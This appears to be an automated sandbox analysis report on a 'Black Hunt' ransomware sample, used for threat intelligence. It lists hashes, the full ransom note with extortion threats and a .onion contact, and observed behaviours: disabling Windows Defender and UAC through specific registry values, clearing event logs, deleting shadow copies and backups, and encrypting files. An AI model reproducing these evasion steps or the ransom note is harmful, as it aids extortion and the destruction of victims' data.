738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18-01-2024 23:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
Size

707KB
MD5

3f421a88039b2465fdabdb30a5a0069c
SHA1

8d05d6cb105e94d356af01866faf557e7106191c
SHA256

738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e
SHA512

648945f16aa11ee3de3567062986d5d6061b8dbdcb1b1a604e3a50c8c7433f190f08aac0cb699aef89dda419730c37d5080a15dc7c1d3a91ccebe62f9cc64d6c
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1C8avnh:6uaTmkZJ+naie5OTamgEoKxLWx0h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> TRA5qRFUmhiXesuk </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2200	fsutil.exe
4160	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3400	wevtutil.exe
3744	wevtutil.exe
4060	wevtutil.exe
2492	wevtutil.exe
3128	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
488	bcdedit.exe
3532	bcdedit.exe
2728	bcdedit.exe
2508	bcdedit.exe

Renames multiple (2891) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3560	wbadmin.exe
4144	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
540	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\Y:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\U:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\B:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\W:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\T:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\J:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\N:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\R:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\O:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\A:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\L:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\V:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\G:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\H:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\M:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Z:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\S:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\X:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\K:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\P:	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_ButtonGraphic.png	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_ButtonGraphic.png	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\MANIFEST.MF	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files (x86)\MSBuild\#BlackHunt_Private.key	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\LICENSE	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-io.xml	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Istanbul	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#BlackHunt_ReadMe.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\about.html	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\lib\#BlackHunt_ReadMe.hta	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-lib-uihandler.xml	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_ja.jar	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kolkata	738ecd4b1dcbcf7f07945fa72eb393945b00167596ec3334312c2070f25f319e.exe
